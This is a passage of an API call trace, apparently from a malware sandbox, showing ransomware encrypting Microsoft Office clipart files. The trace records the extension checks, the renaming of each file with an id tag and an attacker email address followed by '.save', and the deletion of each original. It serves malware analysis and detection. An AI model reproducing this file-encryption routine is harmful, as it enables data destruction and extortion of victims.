files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf")) returned 1 [0175.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0175.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0175.864] lstrlenW (lpString=".doc") returned 4 [0175.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0175.864] lstrlenW (lpString=".docx") returned 5 [0175.864] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0175.864] lstrlenW (lpString=".pdf") returned 4 [0175.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0175.864] lstrlenW (lpString=".xls") returned 4 [0175.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0175.864] lstrlenW (lpString=".xlsx") returned 5 [0175.864] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0175.864] lstrlenW (lpString=".ppt") returned 4 [0175.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0175.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0175.864] lstrlenW (lpString=".zip") returned 4 [0175.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0175.864] lstrlenW (lpString=".rar") returned 4 [0175.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0175.865] lstrlenW (lpString=".bz2") returned 4 [0175.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0175.865] lstrlenW (lpString=".7z") returned 3 [0175.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0175.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0175.865] lstrlenW (lpString=".dbf") returned 4 [0175.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0175.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0175.865] lstrlenW (lpString=".1cd") returned 4 [0175.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0175.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0175.865] lstrlenW (lpString=".jpg") returned 4 [0175.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0175.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0175.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0175.865] lstrlenW (lpString=".doc") returned 4 [0175.865] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0175.865] lstrlenW (lpString=".docx") returned 5 [0175.865] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0175.865] lstrlenW (lpString=".pdf") returned 4 [0175.865] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0175.865] lstrlenW (lpString=".xls") returned 4 [0175.865] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0175.865] lstrlenW (lpString=".xlsx") returned 5 [0175.865] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0175.865] lstrlenW (lpString=".ppt") returned 4 [0175.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0175.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0175.866] lstrlenW (lpString=".zip") returned 4 [0175.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0175.866] lstrlenW (lpString=".rar") returned 4 [0175.866] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0175.866] lstrlenW (lpString=".bz2") returned 4 [0175.866] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0175.866] lstrlenW (lpString=".7z") returned 3 [0175.866] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0175.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0175.866] lstrlenW (lpString=".dbf") returned 4 [0175.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0175.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0175.866] lstrlenW (lpString=".1cd") returned 4 [0175.866] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0175.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0175.866] lstrlenW (lpString=".jpg") returned 4 [0175.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0175.866] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0175.866] lstrlenW (lpString="J0107494.WMF") returned 12 [0175.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0176.103] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=6424) returned 1 [0176.103] CloseHandle (hObject=0x518) returned 1 [0176.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf")) returned 0x220 [0176.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0176.104] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0176.104] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0176.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0176.105] GetLastError () returned 0x0 [0176.105] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x1918, lpOverlapped=0x0) returned 1 [0176.107] WriteFile (in: hFile=0x538, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x1920, lpOverlapped=0x0) returned 1 [0176.108] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0176.108] WriteFile (in: hFile=0x538, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0176.108] SetEndOfFile (hFile=0x538) returned 1 [0176.109] CloseHandle (hObject=0x538) returned 1 [0176.109] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0176.109] SetEndOfFile (hFile=0x518) returned 1 [0176.112] CloseHandle (hObject=0x518) returned 1 [0176.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf")) returned 1 [0176.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0176.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0176.114] lstrlenW (lpString=".doc") returned 4 [0176.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.114] lstrlenW (lpString=".docx") returned 5 [0176.114] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0176.114] lstrlenW (lpString=".pdf") returned 4 [0176.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.114] lstrlenW (lpString=".xls") returned 4 [0176.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.114] lstrlenW (lpString=".xlsx") returned 5 [0176.114] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0176.114] lstrlenW (lpString=".ppt") returned 4 [0176.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0176.114] lstrlenW (lpString=".zip") returned 4 [0176.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.114] lstrlenW (lpString=".rar") returned 4 [0176.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.114] lstrlenW (lpString=".bz2") returned 4 [0176.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.115] lstrlenW (lpString=".7z") returned 3 [0176.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0176.115] lstrlenW (lpString=".dbf") returned 4 [0176.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0176.115] lstrlenW (lpString=".1cd") returned 4 [0176.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0176.115] lstrlenW (lpString=".jpg") returned 4 [0176.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0176.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0176.115] lstrlenW (lpString=".doc") returned 4 [0176.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.115] lstrlenW (lpString=".docx") returned 5 [0176.115] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0176.115] lstrlenW (lpString=".pdf") returned 4 [0176.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.115] lstrlenW (lpString=".xls") returned 4 [0176.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.115] lstrlenW (lpString=".xlsx") returned 5 [0176.115] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0176.115] lstrlenW (lpString=".ppt") returned 4 [0176.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0176.115] lstrlenW (lpString=".zip") returned 4 [0176.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.115] lstrlenW (lpString=".rar") returned 4 [0176.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.116] lstrlenW (lpString=".bz2") returned 4 [0176.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.116] lstrlenW (lpString=".7z") returned 3 [0176.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0176.116] lstrlenW (lpString=".dbf") returned 4 [0176.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0176.116] lstrlenW (lpString=".1cd") returned 4 [0176.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0176.116] lstrlenW (lpString=".jpg") returned 4 [0176.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.116] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0176.116] lstrlenW (lpString="J0107526.WMF") returned 12 [0176.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0176.118] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=7948) returned 1 [0176.118] CloseHandle (hObject=0x518) returned 1 [0176.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf")) returned 0x220 [0176.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0176.119] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0176.119] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0176.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0176.120] GetLastError () returned 0x0 [0176.120] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x1f0c, lpOverlapped=0x0) returned 1 [0176.122] WriteFile (in: hFile=0x538, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x1f10, lpOverlapped=0x0) returned 1 [0176.123] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0176.123] WriteFile (in: hFile=0x538, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0176.123] SetEndOfFile (hFile=0x538) returned 1 [0176.123] CloseHandle (hObject=0x538) returned 1 [0176.123] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0176.123] SetEndOfFile (hFile=0x518) returned 1 [0176.126] CloseHandle (hObject=0x518) returned 1 [0176.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf")) returned 1 [0176.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0176.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0176.128] lstrlenW (lpString=".doc") returned 4 [0176.128] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.128] lstrlenW (lpString=".docx") returned 5 [0176.128] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0176.128] lstrlenW (lpString=".pdf") returned 4 [0176.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.128] lstrlenW (lpString=".xls") returned 4 [0176.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.128] lstrlenW (lpString=".xlsx") returned 5 [0176.128] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0176.128] lstrlenW (lpString=".ppt") returned 4 [0176.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0176.128] lstrlenW (lpString=".zip") returned 4 [0176.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.128] lstrlenW (lpString=".rar") returned 4 [0176.128] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.128] lstrlenW (lpString=".bz2") returned 4 [0176.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.128] lstrlenW (lpString=".7z") returned 3 [0176.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0176.128] lstrlenW (lpString=".dbf") returned 4 [0176.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0176.128] lstrlenW (lpString=".1cd") returned 4 [0176.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0176.129] lstrlenW (lpString=".jpg") returned 4 [0176.129] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0176.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0176.129] lstrlenW (lpString=".doc") returned 4 [0176.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.129] lstrlenW (lpString=".docx") returned 5 [0176.129] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0176.129] lstrlenW (lpString=".pdf") returned 4 [0176.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.129] lstrlenW (lpString=".xls") returned 4 [0176.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.129] lstrlenW (lpString=".xlsx") returned 5 [0176.129] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0176.129] lstrlenW (lpString=".ppt") returned 4 [0176.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0176.129] lstrlenW (lpString=".zip") returned 4 [0176.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.130] lstrlenW (lpString=".rar") returned 4 [0176.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.130] lstrlenW (lpString=".bz2") returned 4 [0176.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.130] lstrlenW (lpString=".7z") returned 3 [0176.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0176.130] lstrlenW (lpString=".dbf") returned 4 [0176.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0176.130] lstrlenW (lpString=".1cd") returned 4 [0176.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0176.130] lstrlenW (lpString=".jpg") returned 4 [0176.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.130] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0176.130] lstrlenW (lpString="J0107528.WMF") returned 12 [0176.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0176.131] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=6792) returned 1 [0176.131] CloseHandle (hObject=0x518) returned 1 [0176.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf")) returned 0x220 [0176.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0176.132] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0176.132] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0176.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0176.133] GetLastError () returned 0x0 [0176.133] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x1a88, lpOverlapped=0x0) returned 1 [0176.252] WriteFile (in: hFile=0x538, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x1a90, lpOverlapped=0x0) returned 1 [0176.253] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0176.253] WriteFile (in: hFile=0x538, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0176.253] SetEndOfFile (hFile=0x538) returned 1 [0176.370] CloseHandle (hObject=0x538) returned 1 [0176.370] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0176.371] SetEndOfFile (hFile=0x518) returned 1 [0176.375] CloseHandle (hObject=0x518) returned 1 [0176.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf")) returned 1 [0176.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0176.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0176.500] lstrlenW (lpString=".doc") returned 4 [0176.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.500] lstrlenW (lpString=".docx") returned 5 [0176.500] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0176.500] lstrlenW (lpString=".pdf") returned 4 [0176.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.500] lstrlenW (lpString=".xls") returned 4 [0176.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.500] lstrlenW (lpString=".xlsx") returned 5 